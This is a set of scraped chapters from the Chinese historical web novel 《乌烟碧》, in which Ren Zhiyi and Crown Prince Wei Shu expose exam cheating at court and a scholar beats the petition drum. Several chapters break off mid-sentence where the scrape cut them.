府司狱设在衙内,常被上官用来惩戒府中犯错的僚属,比之刑狱的环境,自然是好太多。 任知宜猛地抬眼,眼尾微微泛红,双眸却灼灼生辉,透出清亮的柔光。 缕缕晨曦从树影间掠过,流泄了一地。 卫枢被她的情绪所感,也淡淡地笑了一下。 落在任知宜眼中,那笑容,惟山涧之清风,与空明之皓月不能与之相配。 此刻,压在她心头数月的焦虑消散了不少。 任知宜轻声道,“殿下,臣女打算后日行事。” 卫枢微怔,眸色幽深,“姑娘想清楚了?孤要提醒姑娘,即使你帮了孤,如果最后证明令尊枉法,孤亦不会姑息。” 他的声音和缓温润,却如同静水之下流淌着暗涌。 任知宜扬眉一笑,“殿下此话,未免看轻了他人!” 卫枢神情微动,并未言语。 “我的义兄霍思修,他并不知晓殿下在身后运筹帷幄,只是凭一腔孤勇相信我,相信这世道还有公义。 我的父亲任平,他曾说过,此生以身济民,方能无憾。” “那姑娘呢?”卫枢凝视着她,“姑娘所求为何?” 任知宜想了一会儿,笑道,“我希望家人安康喜乐,生意财源广进。不过,如今我也希望殿下得偿所愿,让科举成为大胤官场的一方净土。” 净土…… 当年也有一个沉厚的声音说过类似的话,卫枢的手指微微一颤,一股涩意自心间弥漫开来。 他神色淡静,眼底似有星火明灭。 “任知宜!” 卫枢突然喊她的名字,“你可愿入东宫做孤的幕僚?” 任知宜莞尔笑道,“臣女不喜入仕。” “为何?” “泥淖淤深,难守本心!”任知宜坦诚道,“不如经商做生意,银货两讫,童叟无欺!” “呵……看来姑娘是将这次的案子当做一桩生意了。” 卫枢看穿她的心思,淡淡道,“你放手去做吧,后面的事情是孤的责任。 昨夜救你的二人是孤的护卫林四和林七,日后便跟着你,保护你和霍思修的安全。” 任知宜盈盈拜谢。 天空云霞尽染,风清空净。 远处山峦叠嶂,层层起伏,宫墙楼阁,皆隐于雾中。 任知宜步子迈得轻慢,回想起临走前太子说的的话,“姑娘聪慧敏锐,若有一日改变不入仕的想法,当第一个告知于孤。” 她哑然失笑,不会有这么一日。 —— 翌日,任知宜听说陆三爷定好了宅子,颇为欣喜。 三人收拾好包袱准备离开,在客栈门口碰上一人。 费举子踯躅片刻,缓缓走到霍思修面前,行礼道,“霍兄!” 霍思修沉着脸,不予理会。 “……”,费举子面露苦笑,“我明日便要启程返乡,听说霍兄遇袭,心中不安,想在临别前再见一面。” “不必!”霍思修摆摆手,“我很好!” 费举子艰难开口道,“霍兄此番名声大噪,若继续留在兆京,三年后定能得偿所愿。” “费子奇!”霍思修失望不已,“你以为我是为了什么留在兆京,你可还记得当年我们在月下起的誓言吗?” 费子奇目光茫然。 “不记得了?”霍思修冷嘲道,“你我月下把酒,曾说要效管鲍之交,做一对治世能臣,造福一方。” 不知道从何时起,一切都变了。 “呵……”,费子奇满面颓然,“人如蝼蚁,谈何抱负!我明日便会返乡,日后不会再来兆京。” 霍思修心内微凉,本来还想说些什么,终究没有说出来。 “霍兄,你此次虽声名鹊起,却是触了某些人的逆鳞,日后行事,还是小心为上,保重。” “曾经,我以为我们会是同路人!”霍思修目送他的背影,惆怅道。 任知宜拍了拍包袱上的尘土,不以为然道,“你猜,你若告诉他你留在兆京要做什么,他会不会吓得连夜就跑!” “……”,霍思修一噎,满腔的伤感化为乌有,他自嘲道,“无人同路,我自独行。” 新宅子是个十丈见方的小院,内有四间房,尚算干净雅致。 宝珠手脚麻利,不一会儿面已下锅。 “宝珠,记得多煮两碗!”任知宜朝着厨房大声喊道 霍思修奇道,“今日有客来访?” “是昨夜救咱们的那两位,林四哥和林七哥!” 汤面出锅, 13. 朝议 《乌烟碧》全本免费阅读 卯时,文华门前。 大胤皇宫又名熙宫城,临水而建,外宫城东西南北共四个门,分为溧水门、庆阳门、文正门和宁德门。 正南为文正门,直行可经文华门入内宫,沿皇宫中轴线,越过三千汉白玉阶,为清和殿。 天尚未破晓,宫中内侍分列两侧,等候即将上朝的官员。 按照惯例,大胤官阶在六品以上者方可参与朝会。每日卯时三刻朝会,官员要提前步行至文正门,勘验身份之后再走到到文华门门前侯着。 一个新任的刑部主事小声问身旁同僚,“咱们要在这文华门前等多久啊?” 被问的官员瞧着他是个生面孔,低声道,“你没看见景相没到吗?大家都在等景相。” 小主事“哦”了一声,恍然道,“那若景相今日不来……” 那官员凉凉地瞥了他一眼,“我入朝三载,从未见景相告假过一日。” 话音刚落,哒哒的马蹄声响起,宫侍听到声音,知是景相已到,立刻打开朱漆大门,为官员提灯引路。 景郦在前,众臣跟随在后,走在青石阶路上,步子迈得持重缓平。 清和殿前,卫枢背立在廊庑之外,一袭玄色银丝广袖长袍,雕镂金冠,腰间银色袴带,长身玉立,萧萧风举。 重檐之外,天际破晓微明,露出一团曦光。 众人与太子相互见礼后,一同踏入清和殿。 殿内立有十六根楠木檐柱,其上刻有九龙戏珠纹饰。额枋高丈余,殿顶加红色檀木桁条,衬得整个大殿庄严肃穆。 皇帝驾临,诸臣叩拜行礼,二品以上落座。 “诸卿有事可奏。” 景郦第一个开口,“陛下,老臣与工部司尚书计算过,重修懿华宫大约要耗费十三万四千两银子。” 皇帝温和地点点头,“景卿辛苦了!何时可行修缮?” “陛下,还有一事!”景相的声音沙涩低沉,“户部刚刚收到两份陈请,靖南道节度使和山南道节度使都奏请朝廷下拨军费。” 皇帝面色一沉,“朕记得,靖南道驻军早已整顿缩减,如何又提请军费?” “陛下,去年靖州流民在山间流窜作乱,惊扰过往客商,当时靖南道节度使白坚派兵平乱,朝廷承诺会拨一部分军费给他。” 早不提,晚不提,偏偏在此时提起。 因为今年靖州流民又起纷乱,一度骚扰至应国边界,白坚心知肚明,朝廷不得不管。 皇帝右手扶额,“山南道那边呢?” “郭嘉说,郓国三番两次扰我边界……” “好了!好了!”皇帝感到头痛欲裂,“朕知道了!” 景郦面色无波,颔首道,“今春雨水较多,料想今年会是个丰年。陛下不如再等几个月,赋税收上来后,再行修缮之事。” 皇帝叹了口气,“岁余民丰,国泰民安,朕当心满意足!至于懿华宫……如何能与天下万民相较!此事便依景卿所言。” “陛下圣明。” 曦光透过大殿的窗格,稀稀落落地洒在清和殿的石板上。 日升当空,辰时已至。 卫枢手指轻蜷,侧前一步,颔首进言,“儿臣有事启奏。” 皇帝和言道,“你说!” “儿臣要告礼部尚书肖显秀、礼部侍郎于文崇、太常寺卿钟黎、中书舍人裴宜,十一名解州举子及两名兆京举子,会试进士科科举舞弊。” 卫枢的声音清越,不疾不徐,好似缓缓道出一件寻常事,却是平地惊雷,四方震动。 满朝一片哗然。 中书舍人裴宜被这突如其来的变故吓得双腿颤颤,几乎站不住。 他面色惨白地望向旁边,却见肖显秀和钟黎一个沉郁不言,一个有恃无恐,心中更加惶惶不安。 景郦沉声道,“太子有何凭据?” “这是今年会试解州举子的考卷!”卫枢袖出一摞纸,放在众臣面前。 景郦眸色微变,“会试举子的考卷都由礼部专人封存,殿下从何处得来?” “景相是不是应该先关心一下考卷的内容?” 十三份考卷,铺陈于大殿之上。 浮光斜照,考卷上的墨迹被映照得有几分模糊,却显得愈加刺目。 卫枢淡淡道,“大家手中的这份,乃是孤请一位书画大家按照各举子的字迹誊抄所得,至于原卷,当请礼部解开封存之后,自可一目了然。” 他面朝众臣,朗声道,“今年会试有一题,是论《公羊传》“臣义而行,不待命”。大家请看,这些卷上的回答几乎完全一致。” 几位翰林院的老学士凑过来,细细地看了又看,面色变得愈加凝重。 “各位都出身于明经和进士两科,熟知经史策论,当知此论各有所解,断不会出现有这种情况。” “太子所言是真的?”皇帝似是不敢置信,沉声道,“诸卿倒是说话啊!” 卫枢面若寒冰,不怒自威,众臣噤若寒蝉,整个大殿陷入死一般的静寂。 卫枢的目光逡巡片刻,最终落在翰林院大学士范昉身上,“敢问范大人,如此回答若还不算舞弊的话,岂不是天大的笑话?” “岂有此理……竖子坏我朝纲!”范昉尚未答话,翰林院的老明经姚学士先跳起来怒骂,整个人气到发抖,几乎要晕厥过去。 “好大的胆子……”,皇帝一掌拍在扶几上,震得茶盏滚落,碎裂四散。 众臣伏地,“陛下息怒!” “反了天了!”皇帝怒极,“礼部的人呢……今科主考是谁……统统给朕滚出来!” “儿臣查到,春闱之前礼部侍郎于文崇的儿子于靳与解州举子方荣在凌香阁密会,将考题给予方荣,再由方荣转手,共计卖出十一份考题,买家全是解州举子,每份要价一万两银子。” 卫枢转身,“这是凌香阁舞姬的证词,请父皇过目!” “于文崇他人呢?”皇帝厉声问道。 内侍赶紧回道,“于大人因病告假,现在应该还在府中,太子已着人去拿。” 皇帝缓了口气,“此事又与肖显秀、钟黎还有裴宜有何关系?” 卫枢视线扫过三人,声音清冷如水,“肖尚书既是礼部尚书,又是今科主考,他将考题借于文崇之手传于解州举子,一来是利益驱动,为钱所惑,二来是为壮大解州在朝堂之上的威望。” “至于另外两位……”,卫枢冷眼瞥向一脸平静的钟黎,声音愈冷,“钟黎和裴宜二人身为朝官,知法犯法,为保其子仕途,同样行賕肖显秀。” 裴宜闻言,心胆俱裂,倏地跪在地上,两股战战,“臣,臣……” “殿下!”肖显秀突然出声,声音带着几分暗哑,“臣有辩解。” 卫枢唇角噙出一抹冷笑,“肖 14. 擂鼓 《乌烟碧》全本免费阅读 登闻鼓,立于文正门前的高台之上,径约六尺,敲响之际,可声传数里。 每日,宫门前负责洗扫的宫人都会顺道擦拭上面的灰尘,只是鼓身太高,宫人无力顾及的地方,便经常敷衍了事。久而久之,原本明黄色的鼓变得色泽暗淡,鼓上尽是斑驳的痕迹。 不远处的茶楼上,任知宜倚栏远望着那面鼓,“你想好了?” “嗯!” “若是告不赢……”,任知宜面带犹豫,“可能就没命了!” 霍思修笑道,“岂止没命?弄不好会把身上的肉一片一片地绞下来。” 任知宜脸色倏地一白。 “哈哈!你终于也有被我吓到的时候!”霍思修不在意地笑道,“你放心吧!陛下是仁德之君。” “等等……”,任知宜思忖半响,终于开口道,“在你决定做这件事之前,我有话跟你说。” 霍思修依言坐下,静静地听着。 “我爹是灵州的长史,数月前被人陷害,以挪盗官粮的罪名被关入狱。如今所有证据都不利于我爹,我进京是想要将我爹的案子延后,以期查出真相。” 任知宜丹唇微抿,声音透着几分涩意,“我曾经说过我帮你出于私心,这私心便是我知晓朝中有位贵人要查科举舞弊。” 霍思修瞪大了眼睛,不敢置信道,“你说的贵人莫不是那位魏公子?” “不错!”任知宜别过脸,望着远处的浮云聚了又散,飘忽不定。 她幽幽叹道,“说到底,我帮你是存了利用之心,此事关乎你的性命和前程,若你现在反悔,我亦无话可说。” 霍思修默了半晌,哑然失笑,“原来如此!你能选择告诉我,证明我这个义兄总算不是假的。” 任知宜秀眉蹙起,“生死相关!莫要玩笑!” “我说真的!”霍思修一脸淡然,“对我来说,你们怀有什么目的并不重要,重要的是我自己亦想这么做。世间不公千万条,若人人自保,避而远之,终有一日这不公也会落在自己身上!有些事,终究是要有人去做!” 云层散去,光束打在霍思修白色如意长衫上,折射出耀目的光晕。 他是明知不可为而为之。 任知宜的心,像是被烈火淬过一般,升腾的激荡渐渐冷却下去。 霍思修朗声笑道,“若不是你救我,我早已成了一缕孤魂,也做不到痛骂李佑康的畅快事儿!自从曲水流觞之后,我便下定决心,要还自己一个公道,还天下学子一个公道。” 任知宜眼睫微颤,眸中闪过一丝不确定。 落在霍思修眼里,他突然站起身来,澄亮的眼神温润而泽,“知宜,别忘了你告诉我的话——行前路,莫回头!” 任知宜望着明朗的笑容,心中五味杂陈。 “况且……”,霍思修低声道,“你不是说了嘛!我们还有魏公子这位贵人相助!” 任知宜望向文正门内掩住的层层宫墙,不知道那里面又是怎样的波谲云诡,她眸色几经变换,“好!走吧!我与你一道。” —— “春事何如,细草如烟,莺莺燕燕春春,良辰美景,暮暮朝朝……”。 街边有人抱琴弹唱,声音袅袅。 二人踏步前行,沿路春景甚好,杨柳三月,最是一年中须记的时节。 霍思修登上高台,拎起鼓槌,深深吸了一口气。 “什么人?干什么呢?” 文正门的守卫见有人要擂登闻鼓,挥戟大喝。 任知宜一边望着天估算时辰,一边答道,“擂登闻鼓!” 这句话,算是回答了文正门的守卫! 守卫吃了一惊,“此处乃宫门,尔等放肆!” 任知宜玉容冷肃,声音若静水流深,“大胤律疏第一卷,太祖设登闻鼓,无论士绅商贾,抑或贩夫走卒,有冤难申者皆可捶响登闻鼓,由陛下亲审……你是什么人,敢逆太祖之令?” 守卫见任知宜姿容绝世,气势逼人,在高台前微微迟疑了一下。 正是这一迟疑,震天的擂鼓声已然敲响。 “我乃房州举子霍思修,状告今科会试进士科科举舞弊,跪请圣裁……” 咚咚的擂鼓声与霍思修高亢的声音交替响起,四面八方的百姓闻声而来,全都涌至文正门前。 天边,云散日明,曦和熠熠。 —— 人潮汹涌,任知宜被推搡着挤出高台。 她回到茶楼,远远望着登闻鼓。 茶楼离着文正门不过百步,二人原本的位子上坐着一位陌生的公子。 玉树兰芝,遥若青山,是男子中绝少见到的好样貌,说一句宋玉在世亦不为过。 “占了姑娘的位子,抱歉!”那公子淡淡笑道。 任知宜随意笑笑,“无妨!” 林四俯身,附耳低声道,“姑娘,他是景相家的二公子,景随!” 任知宜一愕,旋即起身,落落大方地坐到景随的对面,“我坐这里,可会打扰到公子?” “姑娘随意!”景随和言道。 任知宜的视线越过长街,落在高台前的登闻鼓上。 鼓下的人越聚越多,人声鼎沸,霍思修的身影立于其中,显得格外渺小。 任知宜暗自打量着景随,长眉斜飞,眸色清明,周身透着一股清冷之意。 “公子似乎不关心擂鼓之事?” “姑娘关心的是你的朋友,可是此事又与我何干?” 任知宜秀眉微挑,“听公子的口气,好像不太认同我朋友的举动!” “书生意气,螳臂当车!”景随斟茶自饮,举手投足皆是清贵之姿。 任知宜眸光潋滟,盈盈笑问道,“何以见得?” “南衙距此处不过三里,你猜监门卫几时会到!” 话音刚落,整齐的踏步声从远处传来。 “南衙监门卫郎将严风在此,不相干之人速速退下。” 百姓惧怕府卫刀兵,人群倏地像潮水一般退了下去,让开一条阔路。 “下来!”严风肃然而立,寒刀出鞘,直指霍思修。 霍思修放下鼓槌,缓缓转身。 不远处的茶楼上,任知宜目睹这一切,眸色晦暗不明,监门卫来得好快! 她看向景随,他还是淡然自若,似乎对一切都漠不关心。 “听闻景公子乃是今科会试榜首!有人告会试科举舞弊,公子不恼怒?” “呵……”,景随笑若清风,“任姑娘有时间关心景某,不如去帮一下霍公子。” 彼此的身份都已挑明,二人索性都不装了。 任知宜眼睛紧盯着登闻鼓的方向,“景公子可有高见?” 景随摇摇头道,“严风此人行事大胆果敢,且手段阴狠。” 回想起 15. 入殿 《乌烟碧》全本免费阅读 宫中空寂,不闻鸟鸣,领路的侍卫和宫人俱默不作声。 殿群重檐重顶,巍峨端肃,霍思修抬眼望去,春日的晴空也似要压降下来,令人喘不动气。 清和殿近在眼前,他深深地提起一口气,踏步进去。 “学生房州举子霍思修,叩见陛下。” “平身!” 皇帝声音和缓,“霍思修,你敲响登闻鼓,告今科会试存在科举舞弊,可有凭据?” “学生亲耳听到解州举子罗汉说,他与李佑康二人买下科考试题。他醉酒后向学生吐露过其中的内容,正是会试考题,分毫不差。” 有官员问道,“或许是凑巧呢?” “初时学生也不敢断定……”,霍思修继续道,“后来会试放榜,学生发现罗、李竟然高中,学生与他们曾经同在松石书院求学数月,深知他们的才学,若无舞弊,绝不可能高中。” 众臣闻言,皆面露惊诧。 原以为霍思修手中握着什么十足的证据,却没料到他只是凭着一点猜测,就冒着被处以极刑的风险敲响登闻鼓。 若不是太子进言在前,兆京府衙搅局在后,一个小小的举子,无凭无据,可能来不及得见圣颜,便早已被监门卫斩于鼓下。 景郦面沉如水,不发一言。 卫枢道,“一鼓敲,天下震。如今百姓知晓,朝廷不可能再遮掩下去,只有查明真相,还天下举子一个公道,才能挽回朝廷的威信。” 听到这个声音,霍思修惊地抬起头,是魏公子! 玄色银丝广袖长袍之上,袖着四爪龙纹…… 霍思修眼前一黑,此卫非彼魏,卫乃国姓……所以,任知宜所说的,要查科举舞弊的贵人便是当朝太子卫枢。 霍思修低下头,半阖双目,掩掉眼底的惊骇。 皇帝问道,“太子觉得,该如何应对?” “儿臣建议,由大理寺核查舞弊一案,儿臣、景相和翰林院姚学士监查审理,一经查实,重开会试进士科。” 柳德本欲开口,偷偷觑了一眼景郦,又按捺了下来。 大殿静寂了片刻,有宫侍来报,“安州刘泰,带着十多名举子跪在文正门前。” 卫枢神情一顿,“他们所求为何?” “刘泰说,既然科举有舞弊之嫌,他们希望朝廷重开会试,还其清名。” 卫枢眸色微变,刘泰此举,定是安州王何卢的授意。顺势而为,击溃解州一派,何卢才能将势力插进这个密不透风的朝廷。 这个党同伐异的顺水人情,他还不得不要。 皇帝沉吟半晌道,“如今有贡士要求自证其名,诸卿对太子之提议,可还有异议?” 景郦站起身来,沉声应道,“臣无异议!” 众臣附议。 “好!”皇帝道,“宣朕旨意,将肖显秀、于文崇、钟黎、裴宜和一干举子暂押入狱,令大理寺主理,太子、景相、姚学士监查,七日后三堂公审。 废今科会试贡士之名,通知各道、州、县,四月十五日重开会试进士科。” “遵旨!” 皇帝顿了一下,继续道,“将霍思修关押大理寺刑狱。” ………… 文正门前,圣旨宣读完毕,百姓之间一片沸腾。 任知宜站在人群中,望着文正门内深不可及的宫墙,有一种如释重负之感。 爹,你曾说过,科举乃是大胤官场的最后一方净土,如今女儿也算尽力替你守住了…… 宝珠问道,“小姐,为什么还要关着霍书生?” “只是一时的。而且他在牢里,比在别处更安全。” “今日真得好险,差一点,霍书生就要命丧那严风剑下。”宝珠拍着胸口后怕道,“都怪那个刘府尹,磨磨唧唧的,不敢前来。” “你绑他来的?”任知宜笑道。 “我将小姐给的汉玉九龙珏拿出来,说是太子之命,他才犹犹豫豫地答应了。这东西是要还给太子吗?” 任知宜接过玉珏,握在手心里,“自然是要还的。我们助他破科举舞弊,他帮我爹拖延案子,日后桥归桥,路归路,后事也与我们无关。” 柳絮纷飞,一团落在她掌心里的玉珏上,她怔怔地看着,不自觉地出神。 “小姐,怎么了?” 任知宜回过神来,淡淡笑道,“没什么……只是看到飘零的柳絮,再想起人与人之间的缘分,有些感叹罢了!” “不会啊!”宝珠道,“咱们趁这个时间再多攒些银子,等霍书生出来,会试重开必能高中,咱们一起想办法给老爷找线索。” 听到银子,任知宜眼神一变,“家中还剩多少银子?” “除去每日的花销和租宅子的钱,还得支付打听消息的钱。”宝珠叹了口气道,“之前赚的大约还剩一半。” 任知宜的目光掠过文正门前渐渐散去的百姓,每个人都在谈论着擂响登闻鼓的事情。 她眼波流转,目色一时明,一时暗。 ………… 入夜,一辆马车停在范府宅邸的后门,毫不起眼。 范昉立在堂前,向来人施礼道,“殿下!” “范大人知道孤会来?”卫枢淡淡笑道。 范昉面容瘦削,说话慢条斯理,“料想时间应该差不多了!” 卫枢环顾范府,小院清幽,绿柳修竹,与他的别院有异曲同工之妙。 “请殿下入内,臣刚沏好茶!” 卫枢坐定,茶一入口,便知是天下第一名茶,馥安茗。 此茶产于高山,一年之中仅有数日可采摘,味甘而清,极为达官显贵、文人才子所喜爱,只是价格太高,堪比黄金,令很多人望而却步。 皇后知他爱饮茶,所以将宫中大部分的馥安茗都送到东宫,只是他嫌此物过于奢靡,多有不喜。 “馥安茗的确好,入口甘甜清冽,回味悠长……”,范昉缓缓道,继而自嘲道,“唯一的缺点就是太贵!若不是有人相送,以臣的俸禄是买不起的。” 卫枢动作一顿,眸色明暗交错,“孤就不与范大人绕弯子了,那东西是不是范大人送来的? 今日在清和殿上,卫枢故意只是拿出了考卷的誊抄本,肖显秀则以为考卷还在礼部完好无缺地封存着,其实早在十几日前这些东西便已落入他的手中。 春闱后的一日,卫枢在 16. 触动 《乌烟碧》全本免费阅读 一本名为《三声鼓》的话本横空出世。 此书的主人公是一位舍身取义的举子,为求公理正义擂响登闻鼓,却血洒台前,至死未闭上眼睛。 话本一经面世,便引得兆京城洛阳纸贵,陆三爷的书坊门庭若市。 许多落榜举子将霍思修视为话本的原型,每日去到大理寺门前跪坐请命,讨要公道,将大理寺卿林居正吵得头痛欲裂。 —— 夕阳西落,暮色渐浓。 一整日下来,任知宜将自己困在房中整账,若在往常,这是她最不愿意碰的事情,今日却是做得兴致勃勃。 此番刊印话本,她和陆三爷能进账两万两有余,二人五五分成,再加上他们还打算将霍思修的诗集编纂印出,料想也是一笔不小的利润。 唯一的麻烦是,霍思修如今还在大理寺的刑狱中关押着,若要得到他的同意,须得去趟大理寺。 快到晚膳时分,林四进来带了个话,说卫枢请她别院一叙。 “殿下!” 卫枢今日一身白衣长衫,发带束冠,像个寻常的温文公子,少了几分疏淡之气。 “有人想要见你!” 任知宜闻言微怔,却见屏风之后袅袅婷婷地走出一位姑娘。 一袭素色莲纹长裙,乌发间别着一束藕色绢花,清新怡人。 原来是她,那日她从南衙卫手中救下的胡裙姑娘。只是她今日穿得格外素淡,与当日妖娆的样子截然不同。 姑娘屈身福礼,“窈娘多谢任姑娘当日救命之恩。” “你们聊吧!”卫枢淡声道,转身出去。 “当不起!”任知宜赶忙扶起她,感慨道,“当日我撵你出去,如何受得起你的感激!不过我很高兴你还活着。” 窈娘拿出名册,放在手中摩挲了片刻,“姑娘在我最危急的时候施以援手,又帮我保存了这个,当值得我一拜。” 二人坐下。 窈娘告诉她,当日靠着她送的衣袍和假胡子,她重新回到凌香阁假扮客人,躲过了一劫。 后来太子的护卫找到她,她告诉太子,她将名册留在了任知宜那里。 窈娘抿唇笑道,“兜兜转转,姑娘与我倒成了同路人,实在是难得的缘分。” “你是太子的人?” 窈娘摇摇头,“我只是个普通的舞姬。” “三年前,我被卖到凌香阁做舞姬,嬷嬷动辄打骂,日子过得很是凄苦,幸好还有个姐妹娟儿与我相互依靠。那时候我们两个最大的心愿就是攒够赎身的银子,离开凌香阁。” 窈娘继续道,“数月前,礼部侍郎于文崇的儿子于靳在阁中设宴,我因为身子不舒服,不小心跳错了一个舞步,惹得他大怒。他抬腿就踢,我病得浑浑噩噩,不知躲避,娟儿为了救我,挡在我身前,被他一脚踹在心口上……” 窈娘突然停了声音,牙齿控制不住上下打战,过了半晌方才颤声道,“她当时晕死过去,本来还有一丝气息,可是于靳却嫌她晦气,让人将她扔掉,像扔麻袋一样地扔了出去。” “呜呜………” 窈娘突然抑制不住地大哭,“她就这么死了,就这么死了……” 她哭得像个孩子,肩膀抖个不停,像是要将压抑许久的悲愤全都哭出来。 任知宜默默地望着她,心中一片悲凉。 过了半晌,窈娘拭干眼泪,“我当时就发誓,一定要给娟儿报仇。我一直盯着于靳的动静,后来被我无意中发现有人在跟踪他,才知道是太子在查他。 “后面的事你也知道了!我自请为太子偷取名册,却被于靳发现,慌忙之中刺伤了他的腹部,逃了出去。” 任知宜轻拍她的肩膀,“如今于家垮台,你也算替你的姐妹报了仇。” “还不算!”窈娘泪眼含悲,“他身败名裂,是因为科举舞弊,可是世人谁知道娟儿死得那么惨。 等科举舞弊一案了结,我便带着娟儿的尸骨去大理寺提告。让天下人明白,舞姬也是人,也有属于自己的公道。” 任知宜神情动容,默默地怔了半晌,“姑娘高义!” “说什么高义!”窈娘摇摇头,“我出身卑贱,飘零于世,不过是肯舍了这一条性命,做些自己想做的事罢了。” 任知宜沉默片刻,缓缓开口道,“你日后有何打算?” 窈娘轻声道,“太子仁德,他为我脱了贱籍,还赠了我一些银钱,让我待案子了结后离开京城重新生活。” 一道涟漪从任知宜心湖上划过,复又归于平静。 “我不如姑娘聪慧,且身无长物,只会跳几曲胡舞,若姑娘日后有用得着我的地方,尽管开口。” 窈娘唇边绽出一抹笑意,如同洁白的水莲花。 ………… 柳枝飘飞,随风荡漾,几团飞絮落在卫枢的白衣上。 轻盈的脚步声传来。 卫枢放下手中书卷,凝望着缓步而来的任知宜,“窈娘离开了?” 任知宜淡淡地应了一声。 她从怀中掏出玉珏,双手递上,“此物完璧归赵!” 卫枢轻声道,“我还未找姑娘讨要,姑娘便主动归还,看来姑娘是想就此与东宫划开界限。” “人各有志!殿下对家父的照拂,知宜感佩在心,只是朝堂诡谲倾轧,不是我心之所向。” “难得姑娘机敏善谋,又行事果敢,实在有些可惜。”卫枢的面色辨不清情绪,“太祖时,曾有女官沈氏入朝,官至五品,难道姑娘不想像她一样流芳百世?” “不想!”任知宜回答地干脆利落。 “若姑娘愿意继续为东宫效力,孤可亲赴灵州,帮你父亲翻案。 任知宜垂下眼睫,突然问了一句,“殿下为何让我见窈娘?” 卫枢神色淡淡的,“她自己说,想当面向你道谢。” 任知宜双眸轻动,“难道不是殿下想让她见我?” 卫枢斟满茶盏,手下的动作徐徐如风,现出清贵的气质。 “殿下想透过窈娘之经历,让我受到触动,感受这世上的人不论尊卑,都有要守护的东西,也总有人会为了公义,不惜性命,以身殉道。” 卫枢抬眼,一双沉静无波的眸子凝视着她,“那姑娘觉得,我是否达成了目的?” 任知宜被问地一怔,心底如同被细软的毛针一点一点地刺破开来,溢出涩然的情绪。 ………… 檀木梳蓖顺着一瀑青丝滑下,乌发垂坠。任知宜坐于铜镜前,睡眼惺忪,神色间尚带些惫懒之意。 “小姐,今日戴这支银丝攒珠步摇可好?” 17. 进宫 《乌烟碧》全本免费阅读 立柱之上雕刻着四脚龙纹,房中一应陈设皆是进贡之物,此处是大胤皇宫无疑。 一个小宫女走进内室,瞧见任知宜赤着双足踩在地上,吓了一大跳,“任姑娘,你快回床上躺着。” 听到宫女的惊呼,一位老者从外间匆匆进来,银发白须,双目矍铄。 三指搭于任知宜的脉搏上,过了片刻,老者捋着长须道,“脉象平稳,已无大碍。” “照着此药方,一日两次煎服。” 他嘱咐完宫女,接着朝向任知宜道,“姑娘是劳心过度引发的心肾阴虚之症,又碰上个庸医以正虚邪郁胡乱用药,眼下挨过去便是没事了,近日莫要劳累,安心静养。” 待他走后,小宫女解释道,“刚才那位是太医院院首李太医。” 任知宜点点头,对太医的诊断有所体会,初时醒来尚不觉得,坐了一会儿便感觉有几分心悸。 小宫女扶她上床,掖好被角,“因为陛下传召,殿下刚刚离开,若是知道姑娘醒了,殿下必然高兴得很。” 任知宜淡淡地应了一声。 此处是东宫。 许是她病急凶险,宝珠乱了章法,求到太子头上。 她睁大着眼睛望着房梁。 经过这么一折腾,在外人看来,她与东宫的干系再难以撇清。 之前的纠结,竟成了枉然。 “眼下什么时辰了?” 小宫女道,“快至酉时,姑娘是不是饿了,要不要用膳?” 任知宜摇摇头,她唇口发涩,没有半分胃口,“我躺着有些闷,你与我说会儿话吧。” “奴婢叫雀琴,姑娘想听些什么?” “我想了解后宫的情况,别不知就里,冲撞了什么贵人。” “宫中除了陛下和皇后,还有贤妃娘娘、德妃娘娘、齐嫔娘娘、庆嫔娘娘和柳才人……” 雀琴口齿伶俐,不一会儿的功夫就将后宫诸人的情况解释清楚。 她说的与《兆京梦志》上记载的略有出入。 陛下不是四子三女,而是五子三女,最小的孩子刚满三岁,是庆嫔娘娘所生。 “东宫中可有良娣?” “没有。殿下向来勤政,可能是无暇顾及。” “哦……” 二人正说话之际,外间传来声音。 内室与外间相连,中间隔着一道镂空梅兰木雕门屏,可以清楚地听到外间的谈话声。 “母后多虑了!”卫枢轻淡的声音响起。 “枢儿,解州一派不只有文臣势力,背后还有江南的世族,你这次何必把人逼到绝路上去!” 他们母子不知内室有人,径直说了起来。 雀琴面色一白,瞥见任知宜作了个嘘的动作,慌忙噤声。 卫枢沉默以对。 郑皇后伸手想要碰一下卫枢的脸颊,却又停在了半空。她的嫡子,在外流落多年,回来时已经不是当年在她膝下玩耍的稚童。 如今,她只想保住现在难得宁静的生活,对外面的一切选择不闻不问,她的儿子却并不是这样想。 “罢了!”郑皇后长叹一口气,“这些前朝之事,母后想管也管不了,留着让你们父子烦心罢了。我只问你一句,预备何时大婚?” “儿臣尚未及考虑!” “未及考虑……未及考虑!”郑皇后声音陡然拔高,“你及冠已三年有余,不立婚约,不纳良娣,将好好的东宫弄得像个冷宫似的。单单储君无嗣这一条,就足够朝臣弹劾你百遍。” “安州王何卢有意与皇室联姻,我与你父皇都觉得可行,有安州做后盾支持,你的储君之位当更加稳固。” 卫枢反应淡淡的,“何卢此人心思狡诈,儿臣不喜。” “你喜欢他作甚?”郑皇后无奈地垂眸,“喜欢懿靖郡主就成。” 懿靖郡主是何卢的独女,何双夏。 “听闻那位懿靖郡主长得国色天香,明艳大气,正好与你相配。她下个月进京,你先与她一见,若真得不中意,母后也不会非要逼你强娶。” 卫枢心中无奈,面上只得轻扯出个笑容,以安抚郑皇后,“儿臣听母后的。” “还有一事……” 郑皇后话语一顿,“听闻你昨夜带回来一个姑娘!此女是何人?” 坐于内室的任知宜闻言,眼皮一跳。 太子此举过于招摇,连皇后都惊动了! “她是灵州长史之女。” 郑皇后沉思片刻,眼神中露出些许欣慰,“五品边官之女,做你的良娣倒也尚可。只是,不宜太早册封,母后觉得还是等你先定下太子妃之后,再将她接进宫……” “母后!”卫枢眉头拧得死紧,打断了郑皇后的臆想,“儿臣刚刚征得父皇同意,在东宫设立七品女史一职。” 郑皇后怔了半晌,反应过来,“你想要封她做女史?为何?” “她机敏善谋,堪为大用。” “你……”,被气得狠了,郑皇后抚着心口,半天说不出话来。 这话说得清楚明白,太子需要的是一个东宫幕僚,而不是太子良娣,料想所图不小。 任知宜斜靠在床架一侧,双眸中散出点点星芒,像是在思索着什么。 不久,待郑皇后拂袖而去,任知宜从门屏后面缓缓走出来。 卫枢走近,手背贴上她的额头。 幸好,高热已退。 他眼窝发乌,下巴还带些青茬,像是一宿未睡。 任知宜声音发涩,“是殿下救了我!” 卫枢的声音恢复淡漠,“你昨夜病急,高热不退,试了各种降温的法子都不成,万不得已只好将你带回宫中给太医诊治。” 任知宜低着头,默不作声。 天下能人志士万千,以太子的品性,绝不会为了招揽她而故意引她入宫。 一切,不过是意料之外。 任知宜抬起头,露出一张略带病色的杏面小脸,苍白却不减姝色。 